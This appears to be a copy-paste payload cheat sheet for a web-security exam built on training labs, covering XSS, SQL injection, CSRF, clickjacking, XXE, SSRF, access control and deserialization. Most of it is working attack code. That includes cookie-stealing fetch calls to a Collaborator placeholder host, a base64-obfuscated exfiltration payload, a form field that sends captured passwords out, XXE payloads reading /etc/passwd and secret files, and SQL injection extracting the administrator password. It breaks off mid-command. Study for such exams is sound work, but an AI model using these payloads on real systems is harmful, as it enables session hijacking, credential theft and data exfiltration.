- XSS (Cross-Site Scripting)
- SQL Injection
- CSRF (Cross-Site Request Forgery)
- Clickjacking
- XXE (XML External Entity)
- SSRF (Server-Side Request Forgery)
- Access Control
- Deserialization
- SSTI (Server-Side Template Injection)
- Command Injection
- Path Traversal
- SSRF via PDF
- File Upload
- Stage 3 Quick Reference
- Exam Patterns
- DOM XSS via innerHTML
- Iframe-Based DOM XSS Event Handlers
- AngularJS Expression Injection
- Event Handler Injection
- JavaScript Context Escape
- Web Message Exploitation
- DOM-Based Cookie Manipulation
- CSRF Token Theft via XSS
- Password Capture
- Blind XXE with Out-of-Band Interaction
- Blind XXE - Data Exfiltration via External DTD
- Blind XXE - Error-Based Exfiltration
- XInclude Attack
- XXE Quick Reference
- Routing-Based SSRF
- Absolute URL Bypass
- Localhost Bypass
- Connection State Attack
- Cache Poisoning via Duplicate Host
- Pattern Recognition (30 seconds)
- SSTI Quick Attack (5-10 mins)
- LFI Quick Attack (5 mins)
- Command Injection Quick Attack (15 mins)
- XXE Quick Attack (20 mins)
- Burp Collaborator Setup
- Stage 1: Get Access to Any User
- Stage 2: Privilege Escalation
- Stage 3: File System Access
- Common Exam Locations
- Quick Checklist
- Use
Ctrl+F(Windows) orCmd+F(Mac) to search for specific payloads - Click any link above to jump directly to that section
- All payloads are copy-paste ready
- Replace
TARGET,COLLAB,EXPLOIT-SERVERwith actual values
Common Location: Search, feedback forms, hash fragments
<><img src=x onerror=alert(1)>Why: replace() only replaces first occurrence
<iframe src="https://TARGET/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>Context: Injection point is in URL parameter like ?search=<INJECTION>
Injection point: ?search=<body onload=PAYLOAD>
Basic alert:
<iframe src="https://TARGET/?search=<body onload=alert(1)>"></iframe>Cookie exfiltration:
<iframe src="https://TARGET/?search=<body onload=fetch('https://COLLAB.oastify.com?c='%2bdocument.cookie)>"></iframe>How it works:
- Payload injected into
?search=parameter - Server reflects
<body onload=...>into page - When iframe loads,
onloadevent fires automatically - No user interaction needed - auto-triggers
%2bis URL-encoded+for concatenation
Injection point: ?search=<body onmessage=PAYLOAD>
Trigger via postMessage:
<iframe src="https://TARGET/?search=<body onmessage=fetch('https://COLLAB.oastify.com?c='%2bdocument.cookie)>" onload="this.contentWindow.postMessage('trigger','*')"></iframe>With data extraction:
<iframe src="https://TARGET/?search=<body onmessage=fetch('https://COLLAB.oastify.com?data='%2bevent.data)>" onload="this.contentWindow.postMessage(document.cookie,'*')"></iframe>How it works:
- Payload injected with
<body onmessage=...> - Iframe's
onloadsends message viapostMessage('trigger','*') onmessageevent handler receives the messageevent.datacontains the message content- Useful for web messaging vulnerabilities
'*'means any origin (wildcard)
Injection point: ?search=<body onresize=PAYLOAD>
Trigger via style change:
<iframe src="https://TARGET/?search=<body onresize=alert(1)>" onload="this.style.width='100px'"></iframe>Cookie exfiltration:
<iframe src="https://TARGET/?search=<body onresize=fetch('https://COLLAB.oastify.com?c='%2bdocument.cookie)>" onload="this.style.width='100px'"></iframe>How it works:
- Payload injected with
<body onresize=...> - Iframe's
onloadchanges iframe width to100px - Changing iframe size triggers
onresizeevent - Body's
onresizehandler executes payload - Auto-triggers without user interaction
Injection point: ?search=<input onfocus=PAYLOAD autofocus>
Auto-trigger with focus:
<iframe src="https://TARGET/?search=<input onfocus=alert(1) autofocus>"></iframe>Cookie exfiltration:
<iframe src="https://TARGET/?search=<input onfocus=fetch('https://COLLAB.oastify.com?c='%2bdocument.cookie) autofocus>"></iframe>With custom element:
<iframe src="https://TARGET/?search=<xss id=x onfocus=alert(1) tabindex=1>#x"></iframe>How it works:
autofocusattribute makes input auto-focus on loadonfocusevent fires when element receives focus- No user interaction needed
#xin URL auto-scrolls to element withid=xtabindex=1makes element focusable
Injection point: ?search=<body onpageshow=PAYLOAD>
Auto-trigger on page show:
<iframe src="https://TARGET/?search=<body onpageshow=alert(1)>"></iframe>Cookie exfiltration:
<iframe src="https://TARGET/?search=<body onpageshow=fetch('https://COLLAB.oastify.com?c='%2bdocument.cookie)>"></iframe>How it works:
onpageshowfires when page becomes visible- Triggers on initial load and when navigating back
- Auto-triggers without user interaction
- Similar to
onloadbut also fires on back/forward navigation
Injection point: ?search=<body onhashchange=PAYLOAD>
Trigger via hash change:
<iframe src="https://TARGET/?search=<body onhashchange=alert(1)>#initial" onload="this.src='https://TARGET/?search=<body onhashchange=alert(1)>#changed'"></iframe>Cookie exfiltration:
<iframe src="https://TARGET/?search=<body onhashchange=fetch('https://COLLAB.oastify.com?c='%2bdocument.cookie)>#x" onload="this.src+='#y'"></iframe>How it works:
- Initial load with
#initialhash - Iframe's
onloadchanges URL to#changed - Hash change triggers
onhashchangeevent this.src+='#y'appends to existing URL- Requires two different hash values to trigger
Injection point: ?search=<style>@keyframes x{}</style><div style=animation-name:x onanimationstart=PAYLOAD>
Auto-trigger with CSS animation:
<iframe src="https://TARGET/?search=<style>@keyframes x{}</style><div style=animation-name:x onanimationstart=alert(1)>"></iframe>Cookie exfiltration:
<iframe src="https://TARGET/?search=<style>@keyframes x{}</style><div style=animation-name:x onanimationstart=fetch('https://COLLAB.oastify.com?c='%2bdocument.cookie)>"></iframe>How it works:
<style>@keyframes x{}</style>defines CSS animationstyle=animation-name:xapplies animation to divonanimationstartfires when animation begins- Auto-triggers on page load
- No user interaction needed
Injection point: ?search=<details open ontoggle=PAYLOAD>
Auto-trigger with open attribute:
<iframe src="https://TARGET/?search=<details open ontoggle=alert(1)>"></iframe>Cookie exfiltration:
<iframe src="https://TARGET/?search=<details open ontoggle=fetch('https://COLLAB.oastify.com?c='%2bdocument.cookie)>"></iframe>How it works:
<details>element creates collapsible contentopenattribute makes it expanded by defaultontogglefires when details opens/closes- Auto-triggers on page load due to
openattribute - Works in modern browsers
Injection point: ?search=<img src=x onerror=PAYLOAD>
Auto-trigger on image error:
<iframe src="https://TARGET/?search=<img src=x onerror=alert(1)>"></iframe>Cookie exfiltration:
<iframe src="https://TARGET/?search=<img src=x onerror=fetch('https://COLLAB.oastify.com?c='%2bdocument.cookie)>"></iframe>How it works:
<img src=x>tries to load invalid image- Browser fails to load image
x onerrorevent fires on load failure- Auto-triggers immediately
- Most reliable auto-trigger method
Injection point: ?search=<body onwheel=PAYLOAD>
Trigger via scroll wheel (requires user interaction):
<iframe src="https://TARGET/?search=<body onwheel=alert(1)>"></iframe>How it works:
onwheelfires when user scrolls with mouse wheel- Requires user interaction - not auto-trigger
- Not ideal for exam (user must scroll)
- Use only if auto-trigger events don't work
Injection point: ?search=<body onscroll=PAYLOAD style='height:9999px'>
Trigger via scroll:
<iframe src="https://TARGET/?search=<body onscroll=alert(1) style='height:9999px'>" onload="this.contentWindow.scrollTo(0,100)"></iframe>Cookie exfiltration:
<iframe src="https://TARGET/?search=<body onscroll=fetch('https://COLLAB.oastify.com?c='%2bdocument.cookie) style='height:9999px'>" onload="this.contentWindow.scrollTo(0,100)"></iframe>How it works:
style='height:9999px'makes page scrollable- Iframe's
onloadcallsscrollTo(0,100)to scroll down - Scrolling triggers
onscrollevent - Auto-triggers via programmatic scroll
this.contentWindowaccesses iframe's window object
Injection point: ?search=<div onpointerover=PAYLOAD style='width:100%;height:100%'>
Trigger via pointer movement (requires user interaction):
<iframe src="https://TARGET/?search=<div onpointerover=alert(1) style='width:100%;height:100%'>Move mouse here</div>"></iframe>How it works:
onpointeroverfires when pointer moves over elementstyle='width:100%;height:100%'makes div full-size- Requires user interaction - mouse movement
- Not ideal for exam
- Use auto-trigger events instead
| Event | Element | Trigger Method | Auto-Trigger? | Syntax |
|---|---|---|---|---|
onload |
<body> |
Page loads | ✅ Yes | <body onload=PAYLOAD> |
onmessage |
<body> |
postMessage() | ✅ Yes (via iframe) | <body onmessage=PAYLOAD> |
onresize |
<body> |
Resize iframe | ✅ Yes (via iframe) | <body onresize=PAYLOAD> |
onfocus |
<input> |
autofocus | ✅ Yes | <input onfocus=PAYLOAD autofocus> |
onpageshow |
<body> |
Page visible | ✅ Yes | <body onpageshow=PAYLOAD> |
onhashchange |
<body> |
Hash change | ✅ Yes (via iframe) | <body onhashchange=PAYLOAD> |
onanimationstart |
<div> |
CSS animation | ✅ Yes | <div style=animation-name:x onanimationstart=PAYLOAD> |
ontoggle |
<details> |
open attribute | ✅ Yes | <details open ontoggle=PAYLOAD> |
onerror |
<img> |
Invalid src | ✅ Yes | <img src=x onerror=PAYLOAD> |
onscroll |
<body> |
scrollTo() | ✅ Yes (via iframe) | <body onscroll=PAYLOAD style='height:9999px'> |
onwheel |
<body> |
Mouse wheel | ❌ No | <body onwheel=PAYLOAD> |
onpointerover |
<div> |
Mouse move | ❌ No | <div onpointerover=PAYLOAD> |
onload
- Arguments: None
- Usage:
<body onload=alert(1)> - Trigger: Automatic on page load
onmessage
- Arguments:
event(implicit) - Access data:
event.data - Usage:
<body onmessage=fetch('https://x.com?d='+event.data)> - Trigger:
iframe.contentWindow.postMessage('data','*')
onresize
- Arguments: None
- Usage:
<body onresize=alert(1)> - Trigger:
iframe.style.width='100px'
onfocus
- Arguments: None
- Usage:
<input onfocus=alert(1) autofocus> - Trigger: Automatic with
autofocusattribute
onpageshow
- Arguments:
event(implicit) - Usage:
<body onpageshow=alert(1)> - Trigger: Automatic on page show
onhashchange
- Arguments: None
- Usage:
<body onhashchange=alert(1)> - Trigger:
iframe.src+='#newHash'
onanimationstart
- Arguments: None
- Usage:
<div style=animation-name:x onanimationstart=alert(1)> - Requires:
<style>@keyframes x{}</style> - Trigger: Automatic when animation starts
ontoggle
- Arguments: None
- Usage:
<details open ontoggle=alert(1)> - Trigger: Automatic with
openattribute
onerror
- Arguments: None
- Usage:
<img src=x onerror=alert(1)> - Trigger: Automatic on load failure
onscroll
- Arguments: None
- Usage:
<body onscroll=alert(1) style='height:9999px'> - Trigger:
iframe.contentWindow.scrollTo(0,100)
❌ Wrong: <body onload="alert(1)">
✅ Correct: <body onload=alert(1)> (no quotes in URL parameter)
❌ Wrong: <body onmessage=alert(data)>
✅ Correct: <body onmessage=alert(event.data)> (use event.data)
❌ Wrong: <input onfocus=alert(1)>
✅ Correct: <input onfocus=alert(1) autofocus> (need autofocus)
❌ Wrong: <body onresize=alert(1)> (no trigger)
✅ Correct: <iframe src="..." onload="this.style.width='100px'"> (trigger in iframe)
❌ Wrong: <details ontoggle=alert(1)>
✅ Correct: <details open ontoggle=alert(1)> (need open attribute)
postMessage trigger:
iframe.contentWindow.postMessage('message', '*')Resize trigger:
iframe.style.width = '100px'Scroll trigger:
iframe.contentWindow.scrollTo(0, 100)Hash change trigger:
iframe.src += '#newHash'
// or
iframe.src = 'https://TARGET/?search=<payload>#changed'- Injection point is in URL parameter -
?search=,?query=,?message= - Event must auto-trigger - Use
onload,onpageshow,onerror,autofocus - Trigger from iframe onload -
onload="this.contentWindow.postMessage(...)" - URL encode special chars -
+=%2b, space =%20 - Use %2b for + - In cookie exfiltration:
'%2bdocument.cookie - Test auto-trigger events first - Don't rely on user interaction
- onmessage needs postMessage - Trigger from iframe's onload
Detection: Look for ng-app directive
{{$on.constructor('alert(1)')()}}
{{$on.constructor('eval(atob(\'dmFyIHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpO3hoci5vcGVuKCdHRVQnLCAnaHR0cHM6Ly9DT0xMQUIub2FzdGlmeS5jb20/Yz0nK2RvY3VtZW50LmNvb2tpZSx0cnVlKTt4aHIuc2VuZCgpOw==\'))')()}}
Context: Angle brackets encoded, attributes allowed
"> onmouseover="alert(1)
<script>
location = 'https://TARGET/?search=<xss id=x onfocus=alert(1) tabindex=1>#x';
</script><svg><animatetransform onbegin=alert(1)>
<iframe src="https://TARGET/?search='<body onresize=print()>" onload=this.style.width='100px'></iframe><iframe src="https://TARGET/?search=<body onresize=fetch('https://COLLAB.oastify.com?c='%2bdocument.cookie)>" onload=this.style.width='100px'></iframe>';alert(1);//
${alert(1)}
Context: Angle brackets, quotes, backslash, and backticks are Unicode-escaped
Payload:
${fetch(String.fromCharCode(104,116,116,112,58,47,47,99,111,108,108,97,98,46,99,111,109))}
How it works:
- Template literal context:
`${...}` - All special chars Unicode-escaped:
<,>,',",\,` String.fromCharCode()builds string from char codes- No quotes or special chars needed
- Bypasses Unicode escaping filter
Character codes:
104 = h
116 = t
116 = t
112 = p
58 = :
47 = /
47 = /
99 = c
111 = o
108 = l
108 = l
97 = a
98 = b
46 = .
99 = c
111 = o
109 = m
Result: http://collab.com
Cookie exfiltration:
${fetch(String.fromCharCode(104,116,116,112,115,58,47,47,67,79,76,76,65,66,46,111,97,115,116,105,102,121,46,99,111,109,47,63,99,61)+document.cookie)}
${eval(String.fromCharCode(102,101,116,99,104,40,34,104,116,116,112,115,58,47,47,111,115,107,115,105,120,97,55,110,116,99,122,52,98,97,106,55,110,107,50,116,111,113,100,54,52,99,118,48,115,111,104,46,111,97,115,116,105,102,121,46,99,111,109,47,63,99,61,34,43,100,111,99,117,109,101,110,116,46,99,111,111,107,101,41))}
Breakdown:
https://COLLAB.oastify.com/?c=in char codes and+document.cookieappends
>>> for i in x:
... print(ord(i), end=",")- No quotes or special chars used
Generate char codes (JavaScript):
'https://COLLAB.oastify.com/?c='.split('').map(c => c.charCodeAt(0)).join(',')Context: Complex filtering, template literal injection with hex encoding
<script>
document.location = "https://TARGET/?find="-Function`return fetch\x28'https://COLLAB.oastify.com/?'\x2bdocument.cookie\x29```}//"
</script>How it works:
- Injects into template literal context
- Uses
Functionconstructor to create function - Hex encodes parentheses:
\x28=(,\x2b=+ - Bypasses filters looking for
(and+ - Executes
fetch()to exfiltrate cookie
Breakdown:
"-Function- Closes string, starts Function constructor`return fetch\x28...`- Template literal with hex-encoded chars\x28=(,\x2b=+```- Closes template literal}//- Closes context and comments out rest
\"-alert(1)}//
Result: {"searchTerm":"\\"-alert(1)}//"} - Double backslash cancels escaping
</script><script>alert(1)</script>
Context: Code uses eval() instead of JSON.parse() to parse JSON response
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
eval('var searchResultsObj = ' + this.responseText);
displaySearchResults(searchResultsObj);
}
}ss"};document.location='http://COLLAB.oastify.com/?c='+document.cookie;//
How it works:
ss- Completes the current JSON string value"}- Closes the JSON string and object;- Ends the variable assignment statementdocument.location='...'- Arbitrary JavaScript code//- Comments out the rest of the original code
Full eval() execution:
eval('var searchResultsObj = {"results":"ss"};document.location=\'http://COLLAB.oastify.com/?c=\'+document.cookie;//"}');Result: Cookie exfiltrated to Burp Collaborator
Using alert:
test"};alert(document.cookie);//
Using fetch:
x"};fetch('https://COLLAB.oastify.com?c='+document.cookie);//
Using XMLHttpRequest:
a"};var xhr=new XMLHttpRequest();xhr.open('GET','https://COLLAB.oastify.com?c='+document.cookie);xhr.send();//
Multiline payload:
"};
var img=new Image();
img.src='https://COLLAB.oastify.com?c='+document.cookie;
//
Look for these patterns in JavaScript:
eval('var x = ' + response)eval(response)eval('...' + userInput + '...')- Any
eval()with concatenated strings
Why it's vulnerable:
eval()executes code, not just parses JSON- Should use
JSON.parse()instead - Allows breaking out of JSON structure
Context: Even with JSON.parse(), can break out of JSON context in search parameter
Payload:
\"-Function('return fetch("https://COLLAB.oastify.com/?"+document.cookie)')()}//\"
URL-encoded:
%5C%22-Function(%27return%20fetch(%22https://COLLAB.oastify.com/?%22%2bdocument.cookie)%27)()}%2F%2F%22
How it works:
\"- Escapes the quote (backslash not escaped)-Function(...)- Uses Function constructor'return fetch(...)'- Function body with fetch()- Immediately invokes the function}//- Closes context and comments out rest\"- Final quote to close
Full URL:
https://TARGET/?search=\"-Function('return fetch("https://COLLAB.oastify.com/?"+document.cookie)')()}//\"
Why it works:
- Backslash not escaped in JSON context
\"becomes"after one level of parsing- Function constructor executes arbitrary code
- Hex encoding (
\x28,\x2b) bypasses parentheses/plus filters
Alternative with hex encoding:
\"-Function`return fetch\x28'https://COLLAB.oastify.com/?'\x2bdocument.cookie\x29```}//\"
Breakdown:
\x28=(\x2b=+\x29=)- Bypasses filters looking for
(and+
<script>
document.location = "https://TARGET/?find="-Function`return fetch\x28'https://COLLAB.oastify.com/?'\x2bdocument.cookie\x29```}//"
</script>
<iframe src="https://TARGET/" onload="this.contentWindow.postMessage('<img src=1 onerror=print()>','*')"><iframe src="https://TARGET/" onload="this.contentWindow.postMessage('javascript:print()//http://','*')"><iframe src=https://TARGET/ onload='this.contentWindow.postMessage("{\"type\":\"load-channel\", \"url\": \"javascript:print()\"}","*")'>Exfiltration via postMessage:
<iframe src=https://TARGET/ onload='this.contentWindow.postMessage("{\"type\":\"load-channel\", \"url\": \"javascript:fetch(`https://COLLAB_URL/?c=${document.cookie}`)\"}","*")'>Context: Cookie set via DOM, XSS in product parameter
<iframe src="https://TARGET/product?productId=1&'><script>print()</script>" onload="if(!window.x)this.src='https://TARGET';window.x=1;">How it works:
- First load: XSS payload in URL sets malicious cookie
onloadredirects to homepage (clears URL)window.x=1prevents infinite loop- Homepage uses poisoned cookie → XSS executes
var xhr = new XMLHttpRequest();
xhr.open("GET", "/my-account", true);
xhr.onreadystatechange = function () {
if (xhr.readyState === 4) {
var doc = new DOMParser().parseFromString(xhr.responseText, "text/html");
var token = doc.querySelector("input[name='csrf']").value;
var xhr2 = new XMLHttpRequest();
xhr2.open("POST", "/my-account/change-email", true);
xhr2.send("email=hacker@evil.com&csrf=" + token);
}
};
xhr.send();<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://COLLAB.oastify.com',{
method:'POST',
mode:'no-cors',
body:username.value+':'+this.value
});">Test these locations:
- TrackingId cookie
- Search parameters
- Category filters
- Product ID
Detection Payloads:
'
''
`
;
' OR '1'='1
' OR 1=1--Confirmed if: Error message, different response, or time delay
Capture request to file:
# Save request in Burp to request.txtRun SQLMap:
sqlmap -r request.txt --level 5 --risk 3 --batch --dumpWhy SQLMap:
- Saves time (exam is 4 hours)
- Handles complex scenarios
- Automatically extracts data
- Runs in background
If SQLMap works: Skip to Step 5
PostgreSQL/SQL Server:
' AND 1=CAST((SELECT password FROM users WHERE username='administrator') AS int)--Result: Password appears in error message
Step 3a: Find Column Count
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--Stop when error occurs
Step 3b: Find String Columns
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--Then test which columns accept strings:
' UNION SELECT 'a',NULL,NULL--
' UNION SELECT NULL,'a',NULL--
' UNION SELECT NULL,NULL,'a'--Step 3c: Extract Data
' UNION SELECT username,password,NULL FROM users--PostgreSQL Concatenation:
' UNION SELECT username || '~' || password,NULL,NULL FROM users--Test for Boolean Response:
' AND '1'='1
' AND '1'='2Extract Password Character by Character:
' AND SUBSTRING((SELECT password FROM users WHERE username='administrator'),1,1)='aUse Burp Intruder:
- Position:
='§a§ - Payload: a-z, 0-9
- Grep: Look for different response length
PostgreSQL:
' AND (SELECT CASE WHEN (username='administrator' AND SUBSTRING(password,1,1)='a') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users)--MS SQL:
'; IF (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a' WAITFOR DELAY '0:0:10'--Use Burp Intruder with time-based detection
MS SQL Server:
'; exec master..xp_dirtree '//COLLAB.oastify.com/a'--Oracle - Data Exfiltration:
' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.COLLAB.oastify.com/"> %remote;]>'),'/l') FROM dual--Check Burp Collaborator for DNS/HTTP requests
Use Hackvertor Extension:
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId><@dec_entities>1 UNION SELECT password FROM users WHERE username='administrator'-- -</@dec_entities></productId>
<storeId>1</storeId>
</stockCheck>Use extracted credentials:
- Username:
administrator - Password:
[extracted password]
| Database | Comment | String Concat | Time Delay | Version |
|---|---|---|---|---|
| PostgreSQL | -- |
|| |
pg_sleep(10) |
SELECT version() |
| MySQL | -- or # |
CONCAT() |
SLEEP(5) |
SELECT @@version |
| MS SQL | -- |
+ |
WAITFOR DELAY '0:0:10' |
SELECT @@version |
| Oracle | -- |
|| |
dbms_lock.sleep(10) |
SELECT banner FROM v$version |
| Location | Example Payload | Notes |
|---|---|---|
| TrackingId cookie | Cookie: TrackingId=xyz'-- |
Most common |
| Search parameter | ?search=test'-- |
Check advanced search |
| Category filter | ?category=Gifts'-- |
Product filters |
| Product ID | ?productId=1'-- |
Numeric parameters |
| XML stock check | See XML-based section | Use Hackvertor |
- Try SQLMap first - Save time, run in background
- Error-based is fastest - Try CAST technique first
- Check TrackingId cookie - Most common location
- Use Hackvertor for XML - Essential for WAF bypass
- Burp Collaborator for OOB - DNS/HTTP exfiltration
- Time-based is last resort - Very slow (20+ mins)
Context: SQL injection in ORDER BY or GROUP BY clause (less common but appears in exams)
order=ASC,(SELECT (CASE WHEN (7435=7435) THEN 1 ELSE 1/(SELECT 0) END))How it works:
- If condition true → returns 1 (valid)
- If condition false → division by zero error
- Use for character-by-character extraction
Extract password:
order=ASC,(SELECT (CASE WHEN (SUBSTRING((SELECT password FROM users WHERE username='administrator'),1,1)='a') THEN 1 ELSE 1/(SELECT 0) END))order=ASC,(CAST((CHR(113)||CHR(98)||CHR(122)||CHR(118)||CHR(113))||(SELECT (CASE WHEN (6223=6223) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(107)||CHR(98)||CHR(113)||CHR(113)) AS NUMERIC))Simplified for password extraction:
order=ASC,CAST((SELECT password FROM users WHERE username='administrator') AS NUMERIC)Result: Password appears in error message
order=ASC,(SELECT (CASE WHEN (5657=5657) THEN (SELECT 5657 FROM PG_SLEEP(5)) ELSE 1/(SELECT 0) END))Extract password character-by-character:
order=ASC,(SELECT (CASE WHEN (SUBSTRING((SELECT password FROM users WHERE username='administrator'),1,1)='a') THEN (SELECT 1 FROM PG_SLEEP(5)) ELSE 1 END))Use Burp Intruder:
- Position:
='§a§' - Payload: a-z, 0-9
- Check response time (5+ seconds = match)
Common Location: TrackingId cookie, search parameters
' AND 1=CAST((SELECT password FROM users WHERE username='administrator') AS int)--Result: Password appears in error message
'; exec master..xp_dirtree '//COLLAB.oastify.com/a'--' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.COLLAB.oastify.com/"> %remote;]>'),'/l') FROM dual--Use Hackvertor extension
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId><@dec_entities>1 UNION SELECT password FROM users WHERE username='administrator'-- -</@dec_entities></productId>
<storeId>1</storeId>
</stockCheck><html>
<meta name="referrer" content="never">
<body>
<form action="https://TARGET/my-account/change-email" method="POST">
<input type="hidden" name="email" value="hacker@evil.com" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html><script>
history.pushState('', '', '/?TARGET.web-security-academy.net');
document.forms[0].submit();
</script><html>
<body>
<form action="https://TARGET/my-account/change-email" method="POST">
<input type="hidden" name="email" value="hacker@evil.com" />
<input type="hidden" name="csrf" value="fake" />
</form>
<img src="https://TARGET/?search=x%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite%3dNone" onerror="document.forms[0].submit();">
</body>
</html><script>
window.onclick = () => {
window.open('https://TARGET/social-login');
setTimeout(() => document.forms[0].submit(), 5000);
}
</script>Context: Overlay transparent iframe over decoy button to trick user into clicking
<style>
iframe {
position:relative;
width:700px;
height: 1000px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:800px;
left:80px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://TARGET/my-account"></iframe>How it works:
opacity: 0.1makes iframe nearly invisible (use0.0001for production)z-index: 2places iframe above the decoy buttonposition:absoluteon div positions decoy button- User clicks "Click me" but actually clicks iframe button
- Adjust
topandleftto align with target button
Context: Combine clickjacking with XSS payload in form parameters
<style>
iframe {
position:relative;
width:700px;
height: 1000px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:800px;
left:80px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://TARGET/feedback?csrf=TOKEN&name=<img src=x onerror='print()'>& email=hacker@evil.com&subject=test&message=test"></iframe>How it works:
- Iframe loads feedback form with pre-filled XSS payload
nameparameter contains:<img src=x onerror='print()'>- User clicks decoy "Click me" button
- Actually clicks "Submit" button in iframe
- Form submits with XSS payload
- XSS executes when admin views feedback
URL-encoded version:
<iframe src="https://TARGET/feedback?csrf=TOKEN&name=%3Cimg+src%3Dx+onerror%3D%22print%281%29%22%3E&email=world%40world.com&subject=s&message=sss"></iframe>Find button position:
- Set
opacity: 0.5to see both layers - Adjust
topandleftvalues - Use browser DevTools to inspect coordinates
- Set
opacity: 0.0001for final exploit
Common positions:
- Delete button:
top: 300px; left: 50px - Submit button:
top: 800px; left: 80px - Confirm button:
top: 500px; left: 200px
Test if site is vulnerable:
<iframe src="https://TARGET/"></iframe>If blocked, you'll see:
- Blank iframe (X-Frame-Options header)
- Console error: "Refused to display in a frame"
- CSP frame-ancestors directive blocking
Bypass attempts:
- Try different endpoints (
/my-account,/admin) - Check if only homepage is protected
- Look for subdomain without protection
- Adjust opacity for testing - Use
0.5to see alignment - Use DevTools - Inspect button coordinates
- Pre-fill forms - Include XSS/CSRF payloads in URL
- Test all endpoints - Some may lack X-Frame-Options
- Combine with XSS - Pre-fill form fields with payloads
- Use CSRF tokens - Extract from page if needed
Context: Stock check XML, no direct output
<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN"> %xxe; ]>How it works:
- Defines parameter entity
%xxepointing to Burp Collaborator - Executes
%xxewhich makes HTTP request - Check Burp Collaborator for DNS/HTTP callback
- Confirms XXE vulnerability
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://BURP-COLLABORATOR-SUBDOMAIN/?x=%file;'>">
%eval;
%exfil;For exam (read /home/carlos/secret):
<!ENTITY % file SYSTEM "file:///home/carlos/secret">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://BURP-COLLABORATOR-SUBDOMAIN/?x=%file;'>">
%eval;
%exfil;<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "YOUR-DTD-URL"> %xxe;]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>Replace YOUR-DTD-URL with: https://exploit-server.net/exploit.dtd
- Look for HTTP request with
?x=parameter - Data from
/home/carlos/secretappears in URL
Note: % = % (required for nested parameter entities)
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;For exam:
<!ENTITY % file SYSTEM "file:///home/carlos/secret">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;How it works:
- Reads file into
%fileentity - Tries to access
file:///invalid/[file contents] - Invalid path causes error
- File contents appear in error message
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "YOUR-DTD-URL"> %xxe;]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>- Error message contains file contents
- Look for "No such file or directory: /invalid/[SECRET]"
Context: Cannot modify DOCTYPE (only control data inside XML)
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>For stock check (productId parameter):
<stockCheck>
<productId xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///home/carlos/secret"/>
</productId>
<storeId>1</storeId>
</stockCheck>When to use:
- Cannot modify DOCTYPE declaration
- Only control element content
- Application uses XInclude-aware XML parser
| Technique | Use Case | Output Location |
|---|---|---|
| Out-of-band interaction | Detect XXE | Burp Collaborator |
| External DTD exfiltration | Extract data blind | Burp Collaborator HTTP logs |
| Error-based exfiltration | Extract data blind | Error message in response |
| XInclude | No DOCTYPE control | Direct in response |
- Scan entire stock check request - Not just targeted scan
- Use Burp Scanner - Detects XXE automatically
- Host DTD on exploit server - Required for blind XXE
- Check Burp Collaborator - DNS and HTTP logs
- Try XInclude - If DOCTYPE modification blocked
- Error-based is faster - No need for Collaborator polling
Common Location: Host header
GET /admin HTTP/2
Host: 192.168.0.§1§
Range: 0-255
GET /admin/delete?username=carlos&csrf=TOKEN HTTP/2
Host: 192.168.0.113
GET https://TARGET/admin/delete?username=carlos HTTP/2
Host: 192.168.0.108
GET /admin/delete?username=carlos HTTP/2
Host: localhost
Burp Repeater: Send group in sequence (single connection)
Request 1:
GET / HTTP/1.1
Host: TARGET.web-security-academy.net
Connection: keep-alive
Request 2:
GET /admin HTTP/1.1
Host: 192.168.0.1
Connection: keep-alive
GET / HTTP/1.1
Host: TARGET.web-security-academy.net
Host: EXPLOIT-SERVER.net
GET /admin-roles?username=wiener&action=upgrade HTTP/2
Cookie: session=WIENER_SESSION
Referer: https://TARGET/admin
POST → GET
GET /admin-roles?username=wiener&action=upgrade HTTP/2
Skip to confirmation step
POST /admin-roles HTTP/2
action=upgrade&confirmed=true&username=wiener
Pattern: IDOR with Hidden Parameters
POST /my-account HTTP/2
Content-Type: application/json
{
"email": "wiener@example.com",
"roleid": 2
}Brute-force roleid 1-10 with Intruder
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}Why: 0 == "any_string" → true in PHP
java -jar ysoserial.jar \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
